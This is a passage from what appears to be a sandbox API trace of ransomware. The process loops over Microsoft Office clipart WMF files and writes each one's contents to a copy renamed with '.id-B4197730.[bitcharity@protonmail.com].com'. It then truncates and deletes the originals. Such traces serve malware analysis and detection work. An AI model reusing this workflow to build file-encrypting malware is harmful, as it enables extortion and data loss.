lpString2=".WMF") returned -1 [0288.263] lstrlenW (lpString=".xls") returned 4 [0288.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.263] lstrlenW (lpString=".xlsx") returned 5 [0288.263] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0288.263] lstrlenW (lpString=".ppt") returned 4 [0288.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.264] lstrlenW (lpString=".zip") returned 4 [0288.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.264] lstrlenW (lpString=".rar") returned 4 [0288.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString=".bz2") returned 4 [0288.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString=".7z") returned 3 [0288.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.264] lstrlenW (lpString=".dbf") returned 4 [0288.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.264] lstrlenW (lpString=".1cd") returned 4 [0288.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.264] lstrlenW (lpString=".jpg") returned 4 [0288.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.264] lstrlenW (lpString=".doc") returned 4 [0288.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString=".docx") returned 5 [0288.264] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0288.264] lstrlenW (lpString=".pdf") returned 4 [0288.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.264] lstrlenW (lpString=".xls") returned 4 [0288.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.265] lstrlenW (lpString=".xlsx") returned 5 [0288.265] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0288.265] lstrlenW (lpString=".ppt") returned 4 [0288.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.265] lstrlenW (lpString=".zip") returned 4 [0288.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.265] lstrlenW (lpString=".rar") returned 4 [0288.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.265] lstrlenW (lpString=".bz2") returned 4 [0288.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.265] lstrlenW (lpString=".7z") returned 3 [0288.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.265] lstrlenW (lpString=".dbf") returned 4 [0288.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.265] lstrlenW (lpString=".1cd") returned 4 [0288.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.265] lstrlenW (lpString=".jpg") returned 4 [0288.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.265] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.265] lstrlenW (lpString="BS00078_.WMF") returned 12 [0288.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.272] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1444) returned 1 [0288.272] CloseHandle (hObject=0x10ac) returned 1 [0288.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0288.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.273] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.273] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.295] GetLastError () returned 0x0 [0288.295] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x5a4, lpOverlapped=0x0) returned 1 [0288.309] WriteFile (in: hFile=0x10cc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0288.310] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.310] WriteFile (in: hFile=0x10cc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.310] SetEndOfFile (hFile=0x10cc) returned 1 [0288.310] CloseHandle (hObject=0x10cc) returned 1 [0288.313] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.313] SetEndOfFile (hFile=0x10ac) returned 1 [0288.314] CloseHandle (hObject=0x10ac) returned 1 [0288.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0288.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.315] lstrlenW (lpString=".doc") returned 4 [0288.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.315] lstrlenW (lpString=".docx") returned 5 [0288.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.315] lstrlenW (lpString=".pdf") returned 4 [0288.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.315] lstrlenW (lpString=".xls") returned 4 [0288.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.315] lstrlenW (lpString=".xlsx") returned 5 [0288.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.315] lstrlenW (lpString=".ppt") returned 4 [0288.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.316] lstrlenW (lpString=".zip") returned 4 [0288.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.316] lstrlenW (lpString=".rar") returned 4 [0288.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString=".bz2") returned 4 [0288.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString=".7z") returned 3 [0288.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.316] lstrlenW (lpString=".dbf") returned 4 [0288.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.316] lstrlenW (lpString=".1cd") returned 4 [0288.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.316] lstrlenW (lpString=".jpg") returned 4 [0288.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.316] lstrlenW (lpString=".doc") returned 4 [0288.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.316] lstrlenW (lpString=".docx") returned 5 [0288.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.316] lstrlenW (lpString=".pdf") returned 4 [0288.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.317] lstrlenW (lpString=".xls") returned 4 [0288.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.317] lstrlenW (lpString=".xlsx") returned 5 [0288.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.317] lstrlenW (lpString=".ppt") returned 4 [0288.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.317] lstrlenW (lpString=".zip") returned 4 [0288.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.317] lstrlenW (lpString=".rar") returned 4 [0288.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.317] lstrlenW (lpString=".bz2") returned 4 [0288.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.317] lstrlenW (lpString=".7z") returned 3 [0288.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.317] lstrlenW (lpString=".dbf") returned 4 [0288.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.317] lstrlenW (lpString=".1cd") returned 4 [0288.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0288.317] lstrlenW (lpString=".jpg") returned 4 [0288.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.318] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.318] lstrlenW (lpString="BS00100_.WMF") returned 12 [0288.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.318] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2378) returned 1 [0288.318] CloseHandle (hObject=0x10ac) returned 1 [0288.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0288.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.318] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.318] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.319] GetLastError () returned 0x0 [0288.319] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x94a, lpOverlapped=0x0) returned 1 [0288.347] WriteFile (in: hFile=0x10cc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x950, lpOverlapped=0x0) returned 1 [0288.348] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.348] WriteFile (in: hFile=0x10cc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.349] SetEndOfFile (hFile=0x10cc) returned 1 [0288.349] CloseHandle (hObject=0x10cc) returned 1 [0288.350] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.350] SetEndOfFile (hFile=0x10ac) returned 1 [0288.350] CloseHandle (hObject=0x10ac) returned 1 [0288.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0288.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.351] lstrlenW (lpString=".doc") returned 4 [0288.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.351] lstrlenW (lpString=".docx") returned 5 [0288.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.351] lstrlenW (lpString=".pdf") returned 4 [0288.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.351] lstrlenW (lpString=".xls") returned 4 [0288.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.352] lstrlenW (lpString=".xlsx") returned 5 [0288.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.352] lstrlenW (lpString=".ppt") returned 4 [0288.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.352] lstrlenW (lpString=".zip") returned 4 [0288.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.352] lstrlenW (lpString=".rar") returned 4 [0288.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString=".bz2") returned 4 [0288.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString=".7z") returned 3 [0288.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.352] lstrlenW (lpString=".dbf") returned 4 [0288.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.352] lstrlenW (lpString=".1cd") returned 4 [0288.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.352] lstrlenW (lpString=".jpg") returned 4 [0288.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.352] lstrlenW (lpString=".doc") returned 4 [0288.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.352] lstrlenW (lpString=".docx") returned 5 [0288.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.352] lstrlenW (lpString=".pdf") returned 4 [0288.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.353] lstrlenW (lpString=".xls") returned 4 [0288.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.353] lstrlenW (lpString=".xlsx") returned 5 [0288.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.353] lstrlenW (lpString=".ppt") returned 4 [0288.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.353] lstrlenW (lpString=".zip") returned 4 [0288.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.353] lstrlenW (lpString=".rar") returned 4 [0288.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.353] lstrlenW (lpString=".bz2") returned 4 [0288.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.353] lstrlenW (lpString=".7z") returned 3 [0288.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.353] lstrlenW (lpString=".dbf") returned 4 [0288.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.353] lstrlenW (lpString=".1cd") returned 4 [0288.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0288.353] lstrlenW (lpString=".jpg") returned 4 [0288.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.354] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.354] lstrlenW (lpString="BS00136_.WMF") returned 12 [0288.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.354] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2166) returned 1 [0288.354] CloseHandle (hObject=0x10ac) returned 1 [0288.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0288.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.354] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.354] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.355] GetLastError () returned 0x0 [0288.355] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x876, lpOverlapped=0x0) returned 1 [0288.356] WriteFile (in: hFile=0x10cc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x880, lpOverlapped=0x0) returned 1 [0288.357] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.357] WriteFile (in: hFile=0x10cc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.358] SetEndOfFile (hFile=0x10cc) returned 1 [0288.358] CloseHandle (hObject=0x10cc) returned 1 [0288.359] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.359] SetEndOfFile (hFile=0x10ac) returned 1 [0288.359] CloseHandle (hObject=0x10ac) returned 1 [0288.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0288.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.360] lstrlenW (lpString=".doc") returned 4 [0288.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.360] lstrlenW (lpString=".docx") returned 5 [0288.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.360] lstrlenW (lpString=".pdf") returned 4 [0288.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString=".xls") returned 4 [0288.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.361] lstrlenW (lpString=".xlsx") returned 5 [0288.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.361] 